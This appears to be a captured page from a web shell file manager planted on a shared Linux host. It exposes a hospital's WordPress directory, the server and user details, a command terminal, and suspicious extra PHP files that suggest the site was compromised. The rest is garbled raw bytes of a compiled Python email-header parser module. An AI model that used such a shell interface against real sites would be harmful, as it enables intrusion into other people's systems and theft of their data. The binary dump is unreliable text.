✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� .well-known--drwxr-xr-x
� shivshaktihospital.com--drwxr-xr-x
� wp-admin--drwxr-xr-x
� wp-content--drwxr-xr-x
� wp-includes--drwxr-xr-x
⚙� .htaccess0.88 KB-rw-r--r--
📄 .htaccess.bk0.556 KB-rw-r--r--
📄 error_log2.26 MB-rw-r--r--
� index.php0.396 KB-rw-r--r--
📃 license.txt19.437 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� readme.html7.233 KB-rw-r--r--
📦 shivshaktihospital.com.zip499.69 MB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� wp-activate.php7.537 KB-rw-r--r--
� wp-blog-header.php0.343 KB-rw-r--r--
� wp-comments-post.php2.269 KB-rw-r--r--
� wp-config-sample.php3.261 KB-rw-r--r--
� wp-config.php3.16 KB-rw-r--r--
� wp-cron.php5.485 KB-rw-r--r--
� wp-links-opml.php2.435 KB-rw-r--r--
� wp-load.php3.845 KB-rw-r--r--
� wp-login.php51.305 KB-rw-r--r--
� wp-mail.php8.522 KB-rw-r--r--
� wp-postnews.php12.595 KB-rw-r--r--
� wp-settings.php32.375 KB-rw-r--r--
� wp-signup.php34.259 KB-rw-r--r--
� wp-trackback.php5.27 KB-rw-r--r--
� xmlrpc.php3.13 KB-rw-r--r--
3 ct„jЇã@szdZddlZddlZddlmZddlmZddlmZddl m Z ddl m Z ddl m Z ed ƒZeed ƒBZed ƒZeeBZeed ƒZeed ƒZeedƒBed ƒZeeBZeedƒBZeeBZeedƒZddhZeeBZdd„ZGdd„deƒZGdd„deƒZGdd„deƒZ Gdd„deƒZ!Gdd„deƒZ"Gdd „d eƒZ#Gd!d"„d"eƒZ$Gd#d$„d$eƒZ%Gd%d&„d&eƒZ&Gd'd(„d(eƒZ'Gd)d*„d*e'ƒZ(Gd+d,„d,eƒZ)Gd-d.„d.eƒZ*Gd/d0„d0eƒZ+Gd1d2„d2eƒZ,Gd3d4„d4eƒZ-Gd5d6„d6eƒZ.Gd7d8„d8eƒZ/Gd9d:„d:eƒZ0Gd;d<„d„d>eƒZ2Gd?d@„d@eƒZ3GdAdB„dBeƒZ4GdCdD„dDeƒZ5GdEdF„dFeƒZ6GdGdH„dHeƒZ7GdIdJ„dJeƒZ8GdKdL„dLe!ƒZ9GdMdN„dNeƒZ:GdOdP„dPeƒZ;GdQdR„dReƒZGdWdX„dXeƒZ?GdYdZ„dZeƒZ@Gd[d\„d\eƒZAGd]d^„d^eƒZBGd_d`„d`eƒZCGdadb„dbeCƒZDGdcdd„ddeCƒZEGdedf„dfeƒZFGdgdh„dheƒZGGdidj„djeƒZHGdkdl„dleIƒZJGdmdn„dneJƒZKGdodp„dpeJƒZLGdqdr„dreKƒZMeLd dsƒZNeLdtduƒZOeLdvdwƒZPejQdxjRdyjSeƒƒƒjTZUejQdzjRdyjSeƒjVd{d|ƒjVd}d~ƒƒƒjWZXejQdƒjYZZejQdzjRdyjSeƒjVd{d|ƒjVd}d~ƒƒƒjWZ[ejQdzjRdyjSeƒjVd{d|ƒjVd}d~ƒƒƒjWZ\ejQdzjRdyjSeƒjVd{d|ƒjVd}d~ƒƒƒjWZ]d€d�„Z^d‚dƒ„Z_d„d…„Z`d†d‡„Zadˆd‰„ZbdŠd‹„ZcdŒd�„ZddŽd�„Zed�d‘„Zfd’d“„Zgd”d•„Zhd–d—„Zid˜d™„Zjdšd›„Zkdœd�„ZldždŸ„Zmd d¡„Znd¢d£„Zod¤d¥„Zpd¦d§„Zqd¨d©„Zrdªd«„Zsd¬d­„Ztd®d¯„Zud°d±„Zvd²d³„Zwd´dµ„Zxd¶d·„Zyd¸d¹„Zzdºd»„Z{d¼d½„Z|d¾d¿„Z}dÀdÁ„Z~dÂdÄZdÄdÅ„Z€dÆdÇ„Z�dÈdÉ„Z‚dÊdË„ZƒdÌdÍ„Z„dÎdÏ„Z…dÐdÑ„Z†dÒdÓ„Z‡dÔdÕ„ZˆdÖdׄZ‰dØdÙ„ZŠdÚdÛ„Z‹dÜdÝ„ZŒdÞdß„Z�dàdá„ZŽdâdã„Z�dädå„Z�dædç„Z‘dèdé„Z’dêdë„Z“dìdí„Z”dS)îalHeader value parser implementing various email-related RFC parsing rules. The parsing methods defined in this module implement various email related parsing rules. Principal among them is RFC 5322, which is the followon to RFC 2822 and primarily a clarification of the former. It also implements RFC 2047 encoded word decoding. RFC 5322 goes to considerable trouble to maintain backward compatibility with RFC 822 in the parse phase, while cleaning up the structure on the generation phase. This parser supports correct RFC 5322 generation by tagging white space as folding white space only when folding is allowed in the non-obsolete rule sets. Actually, the parser is even more generous when accepting input than RFC 5322 mandates, following the spirit of Postel's Law, which RFC 5322 encourages. Where possible deviations from the standard are annotated on the 'defects' attribute of tokens that deviate. The general structure of the parser follows RFC 5322, and uses its terminology where there is a direct correspondence. Where the implementation requires a somewhat different structure than that used by the formal grammar, new terms that mimic the closest existing terms are used. Thus, it really helps to have a copy of RFC 5322 handy when studying this code. Input to the parser is a string that has already been unfolded according to RFC 5322 rules. According to the RFC this unfolding is the very first step, and this parser leaves the unfolding step to a higher level message parser, which will have already detected the line breaks that need unfolding while determining the beginning and end of each header. The output of the parser is a TokenList object, which is a list subclass. A TokenList is a recursive data structure. The terminal nodes of the structure are Terminal objects, which are subclasses of str. These do not correspond directly to terminal objects in the formal grammar, but are instead more practical higher level combinations of true terminals. All TokenList and Terminal objects have a 'value' attribute, which produces the semantically meaningful value of that part of the parse subtree. The value of all whitespace tokens (no matter how many sub-tokens they may contain) is a single space, as per the RFC rules. This includes 'CFWS', which is herein included in the general class of whitespace tokens. There is one exception to the rule that whitespace tokens are collapsed into single spaces in values: in the value of a 'bare-quoted-string' (a quoted-string with no leading or trailing whitespace), any whitespace that appeared between the quotation marks is preserved in the returned value. Note that in all Terminal strings quoted pairs are turned into their unquoted values. All TokenList and Terminal objects also have a string value, which attempts to be a "canonical" representation of the RFC-compliant form of the substring that produced the parsed subtree, including minimal use of quoted pair quoting. Whitespace runs are not collapsed. Comment tokens also have a 'content' attribute providing the string found between the parens (including any nested comments) with whitespace preserved. All TokenList and Terminal objects have a 'defects' attribute which is a possibly empty list all of the defects found while creating the token. Defects may appear on any token in the tree, and a composite list of all defects in the subtree is available through the 'all_defects' attribute of any node. (For Terminal notes x.defects == x.all_defects.) Each object in a parse tree is called a 'token', and each has a 'token_type' attribute that gives the name from the RFC 5322 grammar that it represents. Not all RFC 5322 nodes are produced, and there is one non-RFC 5322 node that may be produced: 'ptext'. A 'ptext' is a string of printable ascii characters. It is returned in place of lists of (ctext/quoted-pair) and (qtext/quoted-pair). XXX: provide complete list of token types. éN)Ú hexdigits)Ú OrderedDict)Ú itemgetter)Ú_encoded_words)Úerrors)Úutilsz ú(z ()<>@,:;.\"[]Ú.z."(z/?=z*'%ú%Ú ú cCs dt|ƒjddƒjddƒdS)Nú"ú\z\\z\")ÚstrÚreplace)Úvalue©rú2/usr/lib64/python3.6/email/_header_value_parser.pyÚ quote_stringbsrcsšeZdZdZdZdZ‡fdd„Zdd„Z‡fdd„Ze d d „ƒZ e d d „ƒZ d d„Z e dd„ƒZ e dd„ƒZdd„Zddd„Zddd„Zddd„Z‡ZS)Ú TokenListNTcstƒj||Žg|_dS)N)ÚsuperÚ__init__Údefects)ÚselfÚargsÚkw)Ú __class__rrroszTokenList.__init__cCsdjdd„|DƒƒS)NÚcss|]}t|ƒVqdS)N)r)Ú.0Úxrrrú tsz$TokenList.__str__..)Újoin)rrrrÚ__str__sszTokenList.__str__csdj|jjtƒjƒƒS)Nz{}({}))ÚformatrÚ__name__rÚ__repr__)r)rrrr%vs zTokenList.__repr__cCsdjdd„|DƒƒS)Nrcss|]}|jr|jVqdS)N)r)rrrrrr |sz"TokenList.value..)r!)rrrrrzszTokenList.valuecCstdd„|Dƒ|jƒS)Ncss|] }|jVqdS)N)Ú all_defects)rrrrrr €sz(TokenList.all_defects..)Úsumr)rrrrr&~szTokenList.all_defectscCs |djƒS)Nr)Ústartswith_fws)rrrrr(‚szTokenList.startswith_fwscCstdd„|DƒƒS)zATrue if all top level tokens of this part may be RFC2047 encoded.css|] }|jVqdS)N)Ú as_ew_allowed)rÚpartrrrr ˆsz*TokenList.as_ew_allowed..)Úall)rrrrr)…szTokenList.as_ew_allowedcCs"g}x|D]}|j|jƒq W|S)N)ÚextendÚcomments)rr-Útokenrrrr-Šs zTokenList.commentscCs t||d�S)N)Úpolicy)Ú_refold_parse_tree)rr/rrrÚfold‘szTokenList.foldrcCst|j|d�ƒdS)N)Úindent)ÚprintÚppstr)rr2rrrÚpprint”szTokenList.pprintcCsdj|j|d�ƒS)Nr )r2)r!Ú_pp)rr2rrrr4—szTokenList.ppstrccs~dj||jj|jƒVx<|D]4}t|dƒs<|dj|ƒVq|j|dƒEdHqW|jrhdj|jƒ}nd}dj||ƒVdS)Nz{}{}/{}(r6z* !! invalid element in token list: {!r}z z Defects: {}rz{}){})r#rr$Ú token_typeÚhasattrr6r)rr2r.Zextrarrrr6šs    z TokenList._pp)r)r)r)r$Ú __module__Ú __qualname__r7Úsyntactic_breakÚew_combine_allowedrr"r%Úpropertyrr&r(r)r-r1r5r4r6Ú __classcell__rr)rrris        rc@s$eZdZedd„ƒZedd„ƒZdS)ÚWhiteSpaceTokenListcCsdS)Nú r)rrrrr®szWhiteSpaceTokenList.valuecCsdd„|DƒS)NcSsg|]}|jdkr|j‘qS)Úcomment)r7Úcontent)rrrrrú ´sz0WhiteSpaceTokenList.comments..r)rrrrr-²szWhiteSpaceTokenList.commentsN)r$r9r:r=rr-rrrrr?¬s r?c@seZdZdZdS)ÚUnstructuredTokenListÚ unstructuredN)r$r9r:r7rrrrrD·srDc@seZdZdZdS)ÚPhraseÚphraseN)r$r9r:r7rrrrrF¼srFc@seZdZdZdS)ÚWordZwordN)r$r9r:r7rrrrrHÀsrHc@seZdZdZdS)ÚCFWSListÚcfwsN)r$r9r:r7rrrrrIÅsrIc@seZdZdZdS)ÚAtomÚatomN)r$r9r:r7rrrrrKÊsrKc@seZdZdZdZdS)ÚTokenr.FN)r$r9r:r7Z encode_as_ewrrrrrMÏsrMc@seZdZdZdZdZdZdS)Ú EncodedWordz encoded-wordN)r$r9r:r7ÚcteÚcharsetÚlangrrrrrNÕsrNc@s4eZdZdZedd„ƒZedd„ƒZedd„ƒZdS) Ú QuotedStringz quoted-stringcCs"x|D]}|jdkr|jSqWdS)Nzbare-quoted-string)r7r)rrrrrrBás  zQuotedString.contentcCsBg}x2|D]*}|jdkr(|jt|ƒƒq |j|jƒq Wdj|ƒS)Nzbare-quoted-stringr)r7Úappendrrr!)rÚresrrrrÚ quoted_valueçs   zQuotedString.quoted_valuecCs"x|D]}|jdkr|jSqWdS)Nzbare-quoted-string)r7r)rr.rrrÚstripped_valueñs  zQuotedString.stripped_valueN)r$r9r:r7r=rBrUrVrrrrrRÝs  rRc@s$eZdZdZdd„Zedd„ƒZdS)ÚBareQuotedStringzbare-quoted-stringcCstdjdd„|DƒƒƒS)Nrcss|]}t|ƒVqdS)N)r)rrrrrr ýsz+BareQuotedString.__str__..)rr!)rrrrr"üszBareQuotedString.__str__cCsdjdd„|DƒƒS)Nrcss|]}t|ƒVqdS)N)r)rrrrrr sz)BareQuotedString.value..)r!)rrrrrÿszBareQuotedString.valueN)r$r9r:r7r"r=rrrrrrWøsrWc@s8eZdZdZdd„Zdd„Zedd„ƒZedd „ƒZd S) ÚCommentrAcs(djtdg‡fdd„ˆDƒdgggƒƒS)Nrrcsg|]}ˆj|ƒ‘qSr)Úquote)rr)rrrrC sz#Comment.__str__..ú))r!r')rr)rrr"s zComment.__str__cCs2|jdkrt|ƒSt|ƒjddƒjddƒjddƒS)NrArz\\rz\(rZz\))r7rr)rrrrrrYs  z Comment.quotecCsdjdd„|DƒƒS)Nrcss|]}t|ƒVqdS)N)r)rrrrrr sz"Comment.content..)r!)rrrrrBszComment.contentcCs|jgS)N)rB)rrrrr-szComment.commentsN) r$r9r:r7r"rYr=rBr-rrrrrXs  rXc@s4eZdZdZedd„ƒZedd„ƒZedd„ƒZdS) Ú AddressListz address-listcCsdd„|DƒS)NcSsg|]}|jdkr|‘qS)Úaddress)r7)rrrrrrC$sz)AddressList.addresses..r)rrrrÚ addresses"szAddressList.addressescCstdd„|DƒgƒS)Ncss|]}|jdkr|jVqdS)r\N)r7Ú mailboxes)rrrrrr (sz(AddressList.mailboxes..)r')rrrrr^&szAddressList.mailboxescCstdd„|DƒgƒS)Ncss|]}|jdkr|jVqdS)r\N)r7Ú all_mailboxes)rrrrrr -sz,AddressList.all_mailboxes..)r')rrrrr_+szAddressList.all_mailboxesN)r$r9r:r7r=r]r^r_rrrrr[s  r[c@s4eZdZdZedd„ƒZedd„ƒZedd„ƒZdS) ÚAddressr\cCs|djdkr|djSdS)NrÚgroup)r7Ú display_name)rrrrrb5szAddress.display_namecCs4|djdkr|dgS|djdkr*gS|djS)NrÚmailboxzinvalid-mailbox)r7r^)rrrrr^:s  zAddress.mailboxescCs:|djdkr|dgS|djdkr0|dgS|djS)Nrrczinvalid-mailbox)r7r_)rrrrr_Bs   zAddress.all_mailboxesN)r$r9r:r7r=rbr^r_rrrrr`1s  r`c@s(eZdZdZedd„ƒZedd„ƒZdS)Ú MailboxListz mailbox-listcCsdd„|DƒS)NcSsg|]}|jdkr|‘qS)rc)r7)rrrrrrCPsz)MailboxList.mailboxes..r)rrrrr^NszMailboxList.mailboxescCsdd„|DƒS)NcSsg|]}|jdkr|‘qS)rcúinvalid-mailbox)rcre)r7)rrrrrrCTsz-MailboxList.all_mailboxes..r)rrrrr_RszMailboxList.all_mailboxesN)r$r9r:r7r=r^r_rrrrrdJs rdc@s(eZdZdZedd„ƒZedd„ƒZdS)Ú GroupListz group-listcCs"| s|djdkrgS|djS)Nrz mailbox-list)r7r^)rrrrr^\szGroupList.mailboxescCs"| s|djdkrgS|djS)Nrz mailbox-list)r7r_)rrrrr_bszGroupList.all_mailboxesN)r$r9r:r7r=r^r_rrrrrfXs rfc@s4eZdZdZedd„ƒZedd„ƒZedd„ƒZdS) ÚGroupracCs|djdkrgS|djS)Néz group-list)r7r^)rrrrr^mszGroup.mailboxescCs|djdkrgS|djS)Nrhz group-list)r7r_)rrrrr_sszGroup.all_mailboxescCs |djS)Nr)rb)rrrrrbyszGroup.display_nameN)r$r9r:r7r=r^r_rbrrrrrgis  rgc@sLeZdZdZedd„ƒZedd„ƒZedd„ƒZedd „ƒZed d „ƒZ d S) ÚNameAddrz name-addrcCst|ƒdkrdS|djS)Nér)Úlenrb)rrrrrb‚s zNameAddr.display_namecCs |djS)Nrjéÿÿÿÿ)Ú local_part)rrrrrmˆszNameAddr.local_partcCs |djS)Nrjrl)Údomain)rrrrrnŒszNameAddr.domaincCs |djS)Nrjrl)Úroute)rrrrro�szNameAddr.routecCs |djS)Nrjrl)Ú addr_spec)rrrrrp”szNameAddr.addr_specN) r$r9r:r7r=rbrmrnrorprrrrri~s     ric@s@eZdZdZedd„ƒZedd„ƒZedd„ƒZedd „ƒZd S) Ú AngleAddrz angle-addrcCs"x|D]}|jdkr|jSqWdS)Nz addr-spec)r7rm)rrrrrrm�s  zAngleAddr.local_partcCs"x|D]}|jdkr|jSqWdS)Nz addr-spec)r7rn)rrrrrrn£s  zAngleAddr.domaincCs"x|D]}|jdkr|jSqWdS)Nz obs-route)r7Údomains)rrrrrro©s  zAngleAddr.routecCs<x6|D]*}|jdkr|jr |jSt|jƒ|jSqWdSdS)Nz addr-specz<>)r7rmrpr)rrrrrrp¯s   zAngleAddr.addr_specN) r$r9r:r7r=rmrnrorprrrrrq™s    rqc@seZdZdZedd„ƒZdS)ÚObsRoutez obs-routecCsdd„|DƒS)NcSsg|]}|jdkr|j‘qS)rn)r7rn)rrrrrrCÁsz$ObsRoute.domains..r)rrrrrr¿szObsRoute.domainsN)r$r9r:r7r=rrrrrrrs»srsc@sLeZdZdZedd„ƒZedd„ƒZedd„ƒZedd „ƒZed d „ƒZ d S) ÚMailboxrccCs|djdkr|djSdS)Nrz name-addr)r7rb)rrrrrbÈszMailbox.display_namecCs |djS)Nr)rm)rrrrrmÍszMailbox.local_partcCs |djS)Nr)rn)rrrrrnÑszMailbox.domaincCs|djdkr|djSdS)Nrz name-addr)r7ro)rrrrroÕsz Mailbox.routecCs |djS)Nr)rp)rrrrrpÚszMailbox.addr_specN) r$r9r:r7r=rbrmrnrorprrrrrtÄs     rtc@s,eZdZdZedd„ƒZeZZZZ dS)ÚInvalidMailboxzinvalid-mailboxcCsdS)Nr)rrrrrbãszInvalidMailbox.display_nameN) r$r9r:r7r=rbrmrnrorprrrrrußs rucs(eZdZdZdZe‡fdd„ƒZ‡ZS)ÚDomainrnFcsdjtƒjjƒƒS)Nr)r!rrÚsplit)r)rrrrnïsz Domain.domain)r$r9r:r7r)r=rnr>rr)rrrvêsrvc@seZdZdZdS)ÚDotAtomzdot-atomN)r$r9r:r7rrrrrxôsrxc@seZdZdZdZdS)Ú DotAtomTextz dot-atom-textTN)r$r9r:r7r)rrrrryùsryc@sDeZdZdZdZedd„ƒZedd„ƒZedd„ƒZed d „ƒZ d S) ÚAddrSpecz addr-specFcCs |djS)Nr)rm)rrrrrmszAddrSpec.local_partcCst|ƒdkrdS|djS)Nérjrl)rkrn)rrrrrns zAddrSpec.domaincCs<t|ƒdkr|djS|djjƒ|dj|djjƒS)Nr{rrjrh)rkrÚrstripÚlstrip)rrrrrs  zAddrSpec.valuecCsLt|jƒ}t|ƒt|tƒkr*t|jƒ}n|j}|jdk rH|d|jS|S)Nú@)ÚsetrmrkÚ DOT_ATOM_ENDSrrn)rZnamesetZlprrrrps   zAddrSpec.addr_specN) r$r9r:r7r)r=rmrnrrprrrrrzÿs    rzc@seZdZdZdZdS)Ú ObsLocalPartzobs-local-partFN)r$r9r:r7r)rrrrr� sr�cs4eZdZdZdZedd„ƒZe‡fdd„ƒZ‡ZS)Ú DisplayNamez display-nameFcCs”t|ƒ}|djdkr"|jdƒn*|ddjdkrLt|ddd…ƒ|d<|djdkrd|jƒn*|ddjdkrŽt|ddd…ƒ|d <|jS) NrrJrjrlrlrlrlrlrl)rr7Úpopr)rrTrrrrb+s  zDisplayName.display_namecsžd}|jrd}nx|D]}|jdkrd}qW|r’d}}|djdksX|ddjdkr\d}|d jdks||d d jdkr€d}|t|jƒ|StƒjSdS) NFTz quoted-stringrrrJr@rjrlrlrl)rr7rrbrr)rrYrZpreZpost)rrrr:s    zDisplayName.value) r$r9r:r7r<r=rbrr>rr)rrr‚&s r‚c@s,eZdZdZdZedd„ƒZedd„ƒZdS)Ú LocalPartz local-partFcCs&|djdkr|djS|djSdS)Nrz quoted-string)r7rUr)rrrrrSs zLocalPart.valuecCsÌtg}t}d}x¦|dtgD]”}|jdkr.q|r^|jdkr^|djdkr^t|dd…ƒ|d<t|tƒ}|rœ|jdkrœ|djdkrœ|jt|dd…ƒƒn |j|ƒ|d }|}qWt|dd …ƒ}|jS) NFrrJÚdotrjrlrlrlrlrl)ÚDOTr7rÚ isinstancerSr)rrTZlastZ last_is_tlÚtokZis_tlrrrrmZs$   zLocalPart.local_partN)r$r9r:r7r)r=rrmrrrrr„Ns r„cs4eZdZdZdZe‡fdd„ƒZedd„ƒZ‡ZS)Ú DomainLiteralzdomain-literalFcsdjtƒjjƒƒS)Nr)r!rrrw)r)rrrrnwszDomainLiteral.domaincCs"x|D]}|jdkr|jSqWdS)NÚptext)r7r)rrrrrÚip{s  zDomainLiteral.ip) r$r9r:r7r)r=rnr‹r>rr)rrr‰rsr‰c@seZdZdZdZdZdS)Ú MIMEVersionz mime-versionN)r$r9r:r7ÚmajorÚminorrrrrrŒ‚srŒc@s4eZdZdZdZdZdZedd„ƒZedd„ƒZ dS) Ú ParameterÚ parameterFzus-asciicCs|jr|djSdS)Nrjr)Ú sectionedÚnumber)rrrrÚsection_number�szParameter.section_numbercCsbx\|D]T}|jdkr|jS|jdkrx4|D],}|jdkr*x|D]}|jdkr>|jSq>Wq*WqWdS)Nrz quoted-stringzbare-quoted-stringr)r7rV)rr.rrrÚ param_value–s       zParameter.param_valueN) r$r9r:r7r‘ÚextendedrPr=r“r”rrrrr�‰s  r�c@seZdZdZdS)ÚInvalidParameterzinvalid-parameterN)r$r9r:r7rrrrr–¥sr–c@seZdZdZedd„ƒZdS)Ú AttributeÚ attributecCs$x|D]}|jjdƒr|jSqWdS)NÚattrtext)r7Úendswithr)rr.rrrrV®s  zAttribute.stripped_valueN)r$r9r:r7r=rVrrrrr—ªsr—c@seZdZdZdZdS)ÚSectionÚsectionN)r$r9r:r7r’rrrrr›´sr›c@seZdZdZedd„ƒZdS)ÚValuercCs2|d}|jdkr|d}|jjdƒr,|jS|jS)NrrJrjú quoted-stringr˜úextended-attribute)ržr˜rŸ)r7ršrVr)rr.rrrrV¾s zValue.stripped_valueN)r$r9r:r7r=rVrrrrr�ºsr�c@s(eZdZdZdZedd„ƒZdd„ZdS)ÚMimeParameterszmime-parametersFc csþtƒ}x\|D]T}|jjdƒsq |djdkr.q |djjƒ}||krLg||<||j|j|fƒq W�x’|jƒD�]„\}}t|t dƒd�}|dd}|j }|j ræt |ƒdkræ|dddkræ|ddj jtjdƒƒ|dd…}g}d}xò|D]ê\} } | |k�r6| j �s$| j jtjdƒƒqôn| j jtjdƒƒ|d7}| j} | j �rÔytjj| ƒ} Wn&tk �r‚tjj| d d �} YnRXy| j|d ƒ} Wn"tk �r¶| jd d ƒ} YnXtj| ƒ�rÔ| j jtjƒƒ|j| ƒqôWd j|ƒ} || fVqpWdS)Nr�rr˜)Úkeyrjz.duplicate parameter name; duplicate(s) ignoredz+duplicate parameter name; duplicate ignoredz(inconsistent RFC2231 parameter numberingzlatin-1)ÚencodingÚsurrogateescapezus-asciir)rr7ršrÚstriprSr“ÚitemsÚsortedrrPr•rkrrÚInvalidHeaderDefectr”ÚurllibÚparseZunquote_to_bytesÚUnicodeEncodeErrorZunquoteÚdecodeÚ LookupErrorrÚ_has_surrogatesÚUndecodableBytesDefectr!) rÚparamsr.ÚnameÚpartsZ first_paramrPZ value_partsÚir“Úparamrrrrr¯ÎsZ         zMimeParameters.paramscCsXg}x8|jD].\}}|r0|jdj|t|ƒƒƒq |j|ƒq Wdj|ƒ}|rTd|SdS)Nz{}={}z; r@r)r¯rSr#rr!)rr¯r°rrrrr"s zMimeParameters.__str__N)r$r9r:r7r;r=r¯r"rrrrr És Fr c@seZdZdZedd„ƒZdS)ÚParameterizedHeaderValueFcCs&x t|ƒD]}|jdkr |jSq WiS)Nzmime-parameters)Úreversedr7r¯)rr.rrrr¯%s  zParameterizedHeaderValue.paramsN)r$r9r:r;r=r¯rrrrr´sr´c@seZdZdZdZdZdZdS)Ú ContentTypez content-typeFÚtextZplainN)r$r9r:r7r)ÚmaintypeÚsubtyperrrrr¶-sr¶c@seZdZdZdZdZdS)ÚContentDispositionzcontent-dispositionFN)r$r9r:r7r)Úcontent_dispositionrrrrrº5srºc@seZdZdZdZdZdS)ÚContentTransferEncodingzcontent-transfer-encodingFZ7bitN)r$r9r:r7r)rOrrrrr¼<sr¼c@seZdZdZdZdS)Ú HeaderLabelz header-labelFN)r$r9r:r7r)rrrrr½Csr½c@seZdZdZdS)ÚHeaderÚheaderN)r$r9r:r7rrrrr¾Isr¾csreZdZdZdZdZ‡fdd„Z‡fdd„Zdd„Ze dd „ƒZ d‡fd d „ Z d d„Z e dd„ƒZ dd„Z‡ZS)ÚTerminalTcstƒj||ƒ}||_g|_|S)N)rÚ__new__r7r)Úclsrr7r)rrrrÁXszTerminal.__new__csdj|jjtƒjƒƒS)Nz{}({}))r#rr$rr%)r)rrrr%^szTerminal.__repr__cCst|jjd|jƒdS)Nú/)r3rr$r7)rrrrr5aszTerminal.pprintcCs t|jƒS)N)Úlistr)rrrrr&dszTerminal.all_defectsrcs2dj||jj|jtƒjƒ|js"dn dj|jƒƒgS)Nz {}{}/{}({}){}rz {})r#rr$r7rr%r)rr2)rrrr6hs z Terminal._ppcCsdS)Nr)rrrrÚpop_trailing_wsqszTerminal.pop_trailing_wscCsgS)Nr)rrrrr-uszTerminal.commentscCst|ƒ|jfS)N)rr7)rrrrÚ__getnewargs__yszTerminal.__getnewargs__)r)r$r9r:r)r<r;rÁr%r5r=r&r6rÅr-rÆr>rr)rrrÀRs     rÀc@s eZdZedd„ƒZdd„ZdS)ÚWhiteSpaceTerminalcCsdS)Nr@r)rrrrrszWhiteSpaceTerminal.valuecCsdS)NTr)rrrrr(ƒsz!WhiteSpaceTerminal.startswith_fwsN)r$r9r:r=rr(rrrrrÇ}s rÇc@s eZdZedd„ƒZdd„ZdS)Ú ValueTerminalcCs|S)Nr)rrrrr‰szValueTerminal.valuecCsdS)NFr)rrrrr(�szValueTerminal.startswith_fwsN)r$r9r:r=rr(rrrrrȇs rÈc@s eZdZedd„ƒZdd„ZdS)ÚEWWhiteSpaceTerminalcCsdS)Nrr)rrrrr“szEWWhiteSpaceTerminal.valuecCsdS)Nrr)rrrrr"—szEWWhiteSpaceTerminal.__str__N)r$r9r:r=rr"rrrrrÉ‘s rÉr…ú,zlist-separatorr~zroute-component-markerz([{}]+)rz[^{}]+rz\\ú]z\]z[\x00-\x20\x7F]cCs>t|ƒ}|r|jjtj|ƒƒtj|ƒr:|jjtjdƒƒdS)z@If input token contains ASCII non-printables, register a defect.z*Non-ASCII characters found in header tokenN)Ú_non_printable_finderrrSrZNonPrintableDefectrr­r®)ÚxtextZnon_printablesrrrÚ_validate_xtextÃs   rÎcCs¢t|dƒ^}}g}d}d}xbtt|ƒƒD]J}||dkrL|rFd}d}nd}q(|rVd}n|||krdP|j||ƒq(W|d}dj|ƒdj||d…g|ƒ|fS)akScan printables/quoted-pairs until endchars and return unquoted ptext. This function turns a run of qcontent, ccontent-without-comments, or dtext-with-quoted-printables into a single string by unquoting any quoted printables. It returns the string, the remaining value, and a flag that is True iff there were any quoted printables decoded. rjFrTrN)Ú _wsp_splitterÚrangerkrSr!)rÚendcharsZfragmentÚ remainderZvcharsÚescapeÚhad_qpÚposrrrÚ_get_ptext_to_endcharsÍs$   rÖcCs.|jƒ}t|dt|ƒt|ƒ…dƒ}||fS)zãFWS = 1*WSP This isn't the RFC definition. We're using fws to represent tokens where folding can be done, but when we are parsing the *un*folding has already been done so we don't need to watch out for CRLF. NÚfws)r}rÇrk)rZnewvaluer×rrrÚget_fwsësrØc Cs¦tƒ}|jdƒs tjdj|ƒƒ‚|dd…jddƒ^}}||dd…krXtjdj|ƒƒ‚dj|ƒ}t|ƒdkr¢|dtkr¢|dtkr¢|jddƒ^}}|d|}t|jƒƒdkrÄ|j j tj d ƒƒ||_ dj|ƒ}yt jd|dƒ\}}}} Wn(tk �rtjd j|j ƒƒ‚YnX||_||_|j j| ƒxh|�rœ|dtk�rdt|ƒ\} }|j | ƒ�q6t|dƒ^} }t| d ƒ} t| ƒ|j | ƒdj|ƒ}�q6W||fS) zE encoded-word = "=?" charset "?" encoding "?" encoded-text "?=" z=?z"expected encoded word but found {}rhNz?=rjrrzwhitespace inside encoded wordz!encoded word format invalid: '{}'Úvtext)rNÚ startswithrÚHeaderParseErrorr#rwr!rkrrrSr§rOÚ_ewr«Ú ValueErrorrPrQr,ÚWSPrØrÏrÈrÎ) rÚewrˆrÒZremstrÚrestr·rPrQrr.ÚcharsrÙrrrÚget_encoded_word÷sH    $        râc Cstƒ}�x|�r |dtkr4t|ƒ\}}|j|ƒq |jdƒrÖyt|ƒ\}}Wntjk rdYnrXd}t|ƒdkrš|d j dkrš|j jtj dƒƒd}|rÊt|ƒdkrÊ|d j d krÊt |ddƒ|d<|j|ƒq t |dƒ^}}t|d ƒ}t|ƒ|j|ƒd j|ƒ}q W|S)aOunstructured = (*([FWS] vchar) *WSP) / obs-unstruct obs-unstruct = *((*LF *CR *(obs-utext) *LF *CR)) / FWS) obs-utext = %d0 / obs-NO-WS-CTL / LF / CR obs-NO-WS-CTL is control characters except WSP/CR/LF. So, basically, we have printable runs, plus control characters or nulls in the obsolete syntax, separated by whitespace. Since RFC 2047 uses the obsolete syntax in its specification, but requires whitespace on either side of the encoded words, I can see no reason to need to separate the non-printable-non-whitespace from the printable runs if they occur, so we parse this into xtext tokens separated by WSP tokens. Because an 'unstructured' value must by definition constitute the entire value, this 'get' routine does not return a remaining value, only the parsed TokenList. rz=?Trjr×z&missing whitespace before encoded wordFrhz encoded-wordrÙrrléþÿÿÿrlrl)rDrÞrØrSrÚrârrÛrkr7rr§rÉrÏrÈrÎr!)rrEr.Zhave_wsrˆrÒrÙrrrÚget_unstructured!s:          räcCs*t|dƒ\}}}t|dƒ}t|ƒ||fS)actext = This is not the RFC ctext, since we are handling nested comments in comment and unquoting quoted-pairs here. We allow anything except the '()' characters, but if we find any ASCII other than the RFC defined printable ASCII, a NonPrintableDefect is added to the token's defects list. Since quoted pairs are converted to their unquoted values, what is returned is a 'ptext' token. In this case it is a WhiteSpaceTerminal, so it's value is ' '. z()rŠ)rÖrÇrÎ)rrŠÚ_rrrÚ get_qp_ctextYs  ræcCs*t|dƒ\}}}t|dƒ}t|ƒ||fS)aoqcontent = qtext / quoted-pair We allow anything except the DQUOTE character, but if we 